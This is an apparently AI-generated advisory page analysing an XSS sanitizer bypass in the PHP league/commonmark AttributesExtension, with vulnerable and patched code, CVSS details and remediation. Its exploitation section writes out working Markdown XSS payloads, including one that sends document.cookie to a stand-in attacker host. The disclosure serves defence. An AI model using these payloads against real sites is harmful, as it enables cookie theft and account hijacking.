CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-F8FG-PG57-V4J8

GHSA-f8fg-pg57-v4j8: Sanitizer Filter Bypass via Control Character Injection in league/commonmark

Alon Barad
Alon Barad
Software Engineer

Sep 2, 2026·7 min read·1 visit

Executive Summary (TL;DR)

A validation mismatch between PHP's regex matching and native trimming permits the Form Feed character (\x0C) to survive attribute parsing. Browsers treat this character as whitespace, translating bypassed attributes into executable javascript handlers.

An inconsistency in whitespace handling between the PCRE regex engine, PHP's native trim function, and web browsers allows unauthenticated attackers to bypass XSS protections in the league/commonmark AttributesExtension by injecting a Form Feed (U+000C) control character.

Vulnerability Overview

The league/commonmark library is a widely utilized PHP package designed to parse Markdown specifications into safe HTML. It exposes an optional AttributesExtension that allows content authors to append attributes, such as classes, identifiers, and custom values, directly to Markdown elements using curly-brace expressions. When accepting input from untrusted sources, security teams rely on internal sanitization logic in this extension to block malicious event handlers and unsafe URI schemes.

A significant security gap exists within the filter validation of the AttributesExtension. A remote attacker can construct a payload containing a leading control byte, specifically the Form Feed character (U+000C), prefixing an attribute name. Due to an validation inconsistency, the malicious attribute bypasses the XSS defense layer, is serialized into the raw HTML, and is executed by downstream browsers.

The vulnerability affects all deployments running versions 2.7.0 up to 2.9.0 where the AttributesExtension is active and handles user-controlled Markdown input. Applications processing comments, profile information, or user documents are directly vulnerable to persistent Cross-Site Scripting (XSS).

Root Cause Analysis

The core flaw lies in a structural parser differential involving the PHP PCRE regular expression engine, PHP's native string manipulation functions, and HTML5 browser tokenizer specifications. The extraction of custom attributes utilizes a regular expression defined by the pattern SINGLE_ATTRIBUTE in AttributesHelper.php. Because this pattern relies on the PCRE character class shorthand \s, it successfully matches the Form Feed control character (\x0C or \f).

After matching, the package parses the attribute using PHP's native trim() function to clean white spaces. When called without a custom character mask, the trim() function removes standard whitespace such as carriage returns, new lines, horizontal tabs, vertical tabs, and spaces. However, the default mask of the trim() function does not match the Form Feed character. Consequently, the leading byte is left attached to the attribute name.

The sanitization blocklist within the helper checks the extracted attribute names using simple string operations like str_starts_with($name, 'on'). Since the parsed attribute name is evaluated as \x0Conclick instead of onclick, the prefix check evaluates to false. The sanitizer permits the attribute, which is eventually serialized into raw output as <p \x0Conclick="alert(1)">. Modern web browsers treat the Form Feed control character as empty whitespace separation, interpreting the string as a functional onclick event handler.

Code-Level Analysis of Vulnerable and Patched Code Paths

The parser logic prior to version 2.9.1 processed the attribute matches inside a standard while loop within AttributesHelper::parseAttributes(). Below is the vulnerable code segment showing the direct call to the unmasked trim() function:

// Vulnerable implementation in AttributesHelper.php
while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'))) {
    // ... Match parsing and extraction logic ...
    if (\strtolower(\trim($name)) === 'class') {
        foreach (\array_filter(\explode(' ', \trim($value))) as $class) {
            $attributes['class'][] = $class;
        }
    } else {
        $attributes[\trim($name)] = \trim($value); // Vulnerable: \trim() leaves \x0C attached to the name key
    }
}

The patched implementation resolves the parsing mismatch by introducing a custom WHITESPACE character mask constant that explicitly includes the Form Feed character (\x0C). In addition, the patch adds a strict verification layer verifying that the attribute name is a syntactically valid structure before allowing downstream processing:

// Patched implementation (Commit: dfcdf4554c16aa37c15e3a5ee3243ee26147c239)
private const WHITESPACE = " \t\n\r\0\x0B\x0C"; // Form Feed (\x0C) is now included in the custom trim mask
 
while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'), self::WHITESPACE)) {
    // ...
    if (\strtolower(\trim($name, self::WHITESPACE)) === 'class') {
        foreach (\array_filter(\explode(' ', \trim($value, self::WHITESPACE))) as $class) {
            $attributes['class'][] = $class;
        }
    } else {
        $attributes[\trim($name, self::WHITESPACE)] = \trim($value, self::WHITESPACE); // Safe: Form Feed is stripped from keys and values
    }
}

The patch also introduces an active validation check within the filterAttributes() method using the package's existing PARTIAL_ATTRIBUTENAME regular expression. This defensive-in-depth addition ensures that even if other unrecognized non-printable characters survive the initial cleaning, any attribute whose name contains illegal characters is immediately dropped:

// Validation addition inside filterAttributes()
foreach ($attributes as $name => $value) {
    if (\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', (string) $name) !== 1) {
        unset($attributes[$name]); // Drops any attributes containing invalid name syntax
        continue;
    }
    $attrNameLower = \strtolower((string) $name);
    // ... Blocklist checks remain ...
}

Exploitation Methodology and Attack Scenarios

Exploiting this bypass requires that the target web application has enabled the AttributesExtension and outputs parsed HTML without additional context-aware sanitization layers. The attacker crafts Markdown inputs containing the literal Form Feed control character. Since the character is non-printable, it is represented as \x0C or \f in standard exploit payloads.

hello {onclick="alert(document.domain)"}

This input renders as <p onclick="alert(document.domain)">hello</p>. When parsed by a browser, the Form Feed functions as an attribute delimiter, rendering the malicious script runnable on interaction. To perform an automated, zero-click attack, the adversary can utilize an image element combined with an onerror handler:

![target](invalid-source.jpg){onerror="fetch('http://malicious.example.com/steal?cookie='+document.cookie)"}

Another variation targets links to execute the javascript: protocol. This bypasses typical URL filtering schemes since the injected attribute appears as href, preceding the safe URL generated by the markdown renderer:

[click](https://example.com){href="javascript:alert(1)"}

Because the HTML5 standard specifies that the first encountered attribute of the same name overrides subsequent ones, the browser loads the javascript: link rather than the legitimate URL, executing arbitrary client-side code upon clicking.

Security Impact and Threat Vector Assessment

The security impact of this parser bypass is classified as Cross-Site Scripting (XSS). If successfully exploited, an attacker can execute arbitrary JavaScript code within the context of the victim's browser session. Depending on the design of the hosting platform, this can lead to account hijacking, session theft, and unauthorized actions.

Because the payload is stored inside the target application's database and rendered to other users, it operates as a high-reliability Stored XSS vulnerability. This elevates the danger, as it does not rely on persuading a victim to click an external, suspicious link; standard navigation to a compromised page initiates the execution vector.

The CVSS v3.1 base score is assessed at 5.8 (Medium severity). While the technical exploit guarantees arbitrary execution on the client, the scope remains bounded within the browser's sandbox environment. However, if the web application hosts highly privileged management consoles, exploitation against administrators can compromise the entire underlying platform.

Remediation Steps and Defensive Mitigations

The absolute remediation step is upgrading the league/commonmark package to version 2.9.1 or later. This introduces the custom whitespace cleaning routines and strict regular expression checks that structurally eliminate the bypass vectors. Applications managed via Composer should update the dependencies using standard package manager commands.

composer update league/commonmark

If upgrading immediately is not technically feasible, security teams can implement defensive workarounds via configuration. Specifying an explicit allowlist of attributes forces the parser to discard any attribute key not present on the whitelist, neutralizing the obfuscated inputs.

$environment = new Environment([
    'attributes' => [
        'allow' => ['id', 'class', 'style', 'align'] // Only safe attributes allowed
    ]
]);

Additionally, intrusion detection systems (IDS) and Web Application Firewalls (WAF) can scan incoming request bodies for anomalous non-printable bytes within Markdown syntax. Detecting the Form Feed character (\x0C) nested inside curly brace configurations provides a reliable indicator of active exploitation attempts.

Official Patches

thephpleagueOfficial patch fixing control character bypass vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
5.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Affected Systems

league/commonmark

Affected Versions Detail

Product
Affected Versions
Fixed Version
league/commonmark
thephpleague
>= 2.7.0, < 2.9.12.9.1
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v3.15.8
Exploit Statuspoc
EPSS Score0.01
ImpactStored / Reflected Cross-Site Scripting (XSS)

MITRE ATT&CK Mapping

T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1189Drive-by Compromise
Initial Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-Site Scripting')

The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability patch committed to repository
2026-08-08
Security release 2.9.1 tagged and released
2026-08-08
Official security advisory GHSA-f8fg-pg57-v4j8 published
2026-09-01

References & Sources

  • [1]GitHub Security Advisory: GHSA-f8fg-pg57-v4j8
  • [2]Official Fix Commit
  • [3]Package Repository
  • [4]Release Announcement 2.9.1

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•GHSA-J8PM-GJ4C-RQ4X
7.5

GHSA-J8PM-GJ4C-RQ4X: Algorithmic Complexity Denial of Service in league/commonmark

The league/commonmark library is subject to multiple denial of service vulnerabilities. These stem from three independent algorithmic complexity weaknesses in Markdown parsing: regular expression backtracking, reference link normalization, and delimiter processing. Remote, unauthenticated attackers can exploit these flaws by submitting crafted Markdown input to exhaust CPU execution resources, leading to application-wide thread exhaustion.

Amit Schendel
Amit Schendel
0 views•6 min read
•about 3 hours ago•GHSA-JJV6-8J6V-6J52
7.5

GHSA-JJV6-8J6V-6J52: Algorithmic Complexity Denial of Service in league/commonmark

GHSA-JJV6-8J6V-6J52 details multiple algorithmic complexity issues in the SmartPunct and Attributes extensions of the league/commonmark PHP library, leading to high CPU consumption and Denial of Service (DoS) when parsing pathological Markdown inputs.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 4 hours ago•CVE-2026-78680
7.8

CVE-2026-78680: Arbitrary Code Execution in NLTK via Untrusted Graphviz Path Resolution

An Untrusted Search Path (CWE-426) vulnerability exists in the Natural Language Toolkit (NLTK) library when executing the Graphviz 'dot' utility. Because the library fails to enforce absolute paths when executing external commands, local attackers can plant a malicious binary named 'dot' inside the current working directory. The library then executes the malicious binary, resulting in local arbitrary code execution under the context of the running Python process.

Alon Barad
Alon Barad
5 views•6 min read
•about 5 hours ago•GHSA-8RR7-CVQ3-GMFH
7.5

GHSA-8RR7-CVQ3-GMFH: Algorithmic Complexity Denial of Service in league/commonmark AttributesExtension

An algorithmic complexity vulnerability (CWE-407) in the AttributesExtension of league/commonmark allows unauthenticated remote attackers to cause CPU exhaustion and Denial of Service (DoS) via crafted Markdown payloads containing adjacent or consecutive attributes.

Alon Barad
Alon Barad
3 views•6 min read
•about 6 hours ago•CVE-2026-84371
5.4

CVE-2026-84371: Stored XSS via SVG SMIL URI-list Scheme-Policy Bypass in sanitize-html

A stored Cross-Site Scripting (XSS) vulnerability exists in sanitize-html from version 1.9.0 up to 2.17.6. The flaw permits attackers to bypass scheme-policy enforcement using SVG SMIL animation elements targeting URL attributes with semicolon-separated URI lists.

Alon Barad
Alon Barad
4 views•5 min read
•about 7 hours ago•CVE-2026-84305
5.1

CVE-2026-84305: Algorithmic Complexity Vulnerability (ReindentFilter CPU Exhaustion) in sqlparse

An algorithmic complexity vulnerability in the python sqlparse library versions before 0.6.0 allows an attacker to cause high CPU usage and denial of service via a crafted SQL statement during formatting.

Amit Schendel
Amit Schendel
7 views•6 min read